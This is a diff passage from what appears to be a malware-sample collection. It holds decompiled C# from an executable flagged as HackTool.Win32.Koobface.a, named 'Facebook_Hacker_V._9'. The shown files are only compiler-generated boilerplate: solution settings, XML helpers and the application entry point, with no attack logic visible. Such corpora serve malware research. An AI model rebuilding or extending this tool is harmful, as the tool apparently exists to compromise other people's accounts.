+		{097E0CDF-180E-40F4-BBFA-DC0490BCFBBE}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{097E0CDF-180E-40F4-BBFA-DC0490BCFBBE}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/HackTool/Win32/K/HackTool.Win32.Koobface.a-7b67369767465c4cc73553b90c445907f437ba1ed890c405e2e6b415ec618332/My/InternalXmlHelper.cs

@@ -0,0 +1,214 @@
+// Decompiled with JetBrains decompiler
+// Type: Facebook_Hacker_V._9.My.InternalXmlHelper
+// Assembly: Facebook_Hacker_V._9, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: CFD63BAC-76DE-4D07-BDC2-B460826D976D
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\HackTool.Win32.Koobface.a-7b67369767465c4cc73553b90c445907f437ba1ed890c405e2e6b415ec618332.exe
+
+using System;
+using System.Collections;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Xml.Linq;
+
+namespace Facebook_Hacker_V._9.My
+{
+  [CompilerGenerated]
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  [DebuggerNonUserCode]
+  internal sealed class InternalXmlHelper
+  {
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    private InternalXmlHelper()
+    {
+    }
+
+    public static string get_Value(IEnumerable<XElement> source)
+    {
+      IEnumerator<XElement> enumerator;
+      try
+      {
+        enumerator = source.GetEnumerator();
+        if (enumerator.MoveNext())
+          return enumerator.Current.Value;
+      }
+      finally
+      {
+        enumerator?.Dispose();
+      }
+      return (string) null;
+    }
+
+    public static void set_Value(IEnumerable<XElement> source, string value)
+    {
+      IEnumerator<XElement> enumerator;
+      try
+      {
+        enumerator = source.GetEnumerator();
+        if (!enumerator.MoveNext())
+          return;
+        enumerator.Current.Value = value;
+      }
+      finally
+      {
+        enumerator?.Dispose();
+      }
+    }
+
+    public static string get_AttributeValue(IEnumerable<XElement> source, XName name)
+    {
+      IEnumerator<XElement> enumerator;
+      try
+      {
+        enumerator = source.GetEnumerator();
+        if (enumerator.MoveNext())
+          return (string) enumerator.Current.Attribute(name);
+      }
+      finally
+      {
+        enumerator?.Dispose();
+      }
+      return (string) null;
+    }
+
+    public static void set_AttributeValue(IEnumerable<XElement> source, XName name, string value)
+    {
+      IEnumerator<XElement> enumerator;
+      try
+      {
+        enumerator = source.GetEnumerator();
+        if (!enumerator.MoveNext())
+          return;
+        enumerator.Current.SetAttributeValue(name, (object) value);
+      }
+      finally
+      {
+        enumerator?.Dispose();
+      }
+    }
+
+    public static string get_AttributeValue(XElement source, XName name) => (string) source.Attribute(name);
+
+    public static void set_AttributeValue(XElement source, XName name, string value) => source.SetAttributeValue(name, (object) value);
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    public static XAttribute CreateAttribute(XName name, object value) => value == null ? (XAttribute) null : new XAttribute(name, RuntimeHelpers.GetObjectValue(value));
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    public static XAttribute CreateNamespaceAttribute(XName name, XNamespace ns)
+    {
+      XAttribute namespaceAttribute = new XAttribute(name, (object) ns.NamespaceName);
+      namespaceAttribute.AddAnnotation((object) ns);
+      return namespaceAttribute;
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    public static object RemoveNamespaceAttributes(
+      string[] inScopePrefixes,
+      XNamespace[] inScopeNs,
+      List<XAttribute> attributes,
+      object obj)
+    {
+      switch (obj)
+      {
+        case XElement e:
+          // ISSUE: reference to a compiler-generated method
+          return (object) InternalXmlHelper.RemoveNamespaceAttributes(inScopePrefixes, inScopeNs, attributes, e);
+        case IEnumerable enumerable:
+          // ISSUE: reference to a compiler-generated method
+          return (object) InternalXmlHelper.RemoveNamespaceAttributes(inScopePrefixes, inScopeNs, attributes, enumerable);
+        default:
+          return obj;
+      }
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    public static IEnumerable RemoveNamespaceAttributes(
+      string[] inScopePrefixes,
+      XNamespace[] inScopeNs,
+      List<XAttribute> attributes,
+      IEnumerable obj)
+    {
+      if (obj == null)
+        return obj;
+      // ISSUE: object of a compiler-generated type is created
+      // ISSUE: reference to a compiler-generated method
+      // ISSUE: object of a compiler-generated type is created
+      // ISSUE: reference to a compiler-generated method
+      return obj is IEnumerable<XElement> source ? (IEnumerable) source.Select<XElement, XElement>(new Func<XElement, XElement>(new InternalXmlHelper.RemoveNamespaceAttributesClosure(inScopePrefixes, inScopeNs, attributes).ProcessXElement)) : (IEnumerable) obj.Cast<object>().Select<object, object>(new Func<object, object>(new InternalXmlHelper.RemoveNamespaceAttributesClosure(inScopePrefixes, inScopeNs, attributes).ProcessObject));
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    public static XElement RemoveNamespaceAttributes(
+      string[] inScopePrefixes,
+      XNamespace[] inScopeNs,
+      List<XAttribute> attributes,
+      XElement e)
+    {
+      XAttribute nextAttribute;
+      if (e != null)
+      {
+        for (XAttribute xattribute = e.FirstAttribute; xattribute != null; xattribute = nextAttribute)
+        {
+          nextAttribute = xattribute.NextAttribute;
+          if (xattribute.IsNamespaceDeclaration)
+          {
+            XNamespace xnamespace1 = xattribute.Annotation<XNamespace>();
+            string localName1 = xattribute.Name.LocalName;
+            if ((object) xnamespace1 != null)
+            {
+              if (inScopePrefixes != null && inScopeNs != null)
+              {
+                int num = checked (inScopePrefixes.Length - 1);
+                int index = 0;
+                while (index <= num)
+                {
+                  string inScopePrefix = inScopePrefixes[index];
+                  XNamespace inScopeN = inScopeNs[index];
+                  if (localName1.Equals(inScopePrefix))
+                  {
+                    if (xnamespace1 == inScopeN)
+                      xattribute.Remove();
+                    xattribute = (XAttribute) null;
+                    break;
+                  }
+                  checked { ++index; }
+                }
+              }
+              if (xattribute != null)
+              {
+                if (attributes != null)
+                {
+                  int num = checked (attributes.Count - 1);
+                  int index = 0;
+                  while (index <= num)
+                  {
+                    XAttribute attribute = attributes[index];
+                    string localName2 = attribute.Name.LocalName;
+                    XNamespace xnamespace2 = attribute.Annotation<XNamespace>();
+                    if ((object) xnamespace2 != null && localName1.Equals(localName2))
+                    {
+                      if (xnamespace1 == xnamespace2)
+                        xattribute.Remove();
+                      xattribute = (XAttribute) null;
+                      break;
+                    }
+                    checked { ++index; }
+                  }
+                }
+                if (xattribute != null)
+                {
+                  xattribute.Remove();
+                  attributes.Add(xattribute);
+                }
+              }
+            }
+          }
+        }
+      }
+      return e;
+    }
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.Koobface.a-7b67369767465c4cc73553b90c445907f437ba1ed890c405e2e6b415ec618332/My/MyApplication.cs

@@ -0,0 +1,86 @@
+// Decompiled with JetBrains decompiler
+// Type: Facebook_Hacker_V._9.My.MyApplication
+// Assembly: Facebook_Hacker_V._9, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: CFD63BAC-76DE-4D07-BDC2-B460826D976D
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\HackTool.Win32.Koobface.a-7b67369767465c4cc73553b90c445907f437ba1ed890c405e2e6b415ec618332.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using System;
+using System.CodeDom.Compiler;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+using System.Windows.Forms;
+
+namespace Facebook_Hacker_V._9.My
+{
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  [GeneratedCode("MyTemplate", "10.0.0.0")]
+  internal class MyApplication : WindowsFormsApplicationBase
+  {
+    private static List<WeakReference> __ENCList = new List<WeakReference>();
+
+    [DebuggerNonUserCode]
+    static MyApplication()
+    {
+    }
+
+    [DebuggerNonUserCode]
+    private static void __ENCAddToList(object value)
+    {
+      lock (MyApplication.__ENCList)
+      {
+        if (MyApplication.__ENCList.Count == MyApplication.__ENCList.Capacity)
+        {
+          int index1 = 0;
+          int num = checked (MyApplication.__ENCList.Count - 1);
+          int index2 = 0;
+          while (index2 <= num)
+          {
+            if (MyApplication.__ENCList[index2].IsAlive)
+            {
+              if (index2 != index1)
+                MyApplication.__ENCList[index1] = MyApplication.__ENCList[index2];
+              checked { ++index1; }
+            }
+            checked { ++index2; }
+          }
+          MyApplication.__ENCList.RemoveRange(index1, checked (MyApplication.__ENCList.Count - index1));
+          MyApplication.__ENCList.Capacity = MyApplication.__ENCList.Count;
+        }
+        MyApplication.__ENCList.Add(new WeakReference(RuntimeHelpers.GetObjectValue(value)));
+      }
+    }
+
+    [STAThread]
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    [DebuggerHidden]
+    [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
+    internal static void Main(string[] Args)
+    {
+      try
+      {
+        Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
+      }
+      finally
+      {
+      }
+      MyProject.Application.Run(Args);
+    }
+
+    [DebuggerStepThrough]
+    public MyApplication()
+      : base(AuthenticationMode.Windows)
+    {
+      MyApplication.__ENCAddToList((object) this);
+      this.IsSingleInstance = false;
+      this.EnableVisualStyles = true;
+      this.SaveMySettingsOnExit = true;
+      this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
+    }
+
+    [DebuggerStepThrough]
+    protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1;
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.Koobface.a-7b67369767465c4cc73553b90c445907f437ba1ed890c405e2e6b415ec618332/My/MyComputer.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: Facebook_Hacker_V._9.My.MyComputer
+// Assembly: Facebook_Hacker_V._9, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: CFD63BAC-76DE-4D07-BDC2-B460826D976D
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\HackTool.Win32.Koobface.a-7b67369767465c4cc73553b90c445907f437ba1ed890c405e2e6b415ec618332.exe
+
+using Microsoft.VisualBasic.Devices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+
+namespace Facebook_Hacker_V._9.My
+{
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  [GeneratedCode("MyTemplate", "10.0.0.0")]
+  internal class MyComputer : Computer
+  {
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [DebuggerHidden]
+    public MyComputer()
+    {
+    }
+  }
+}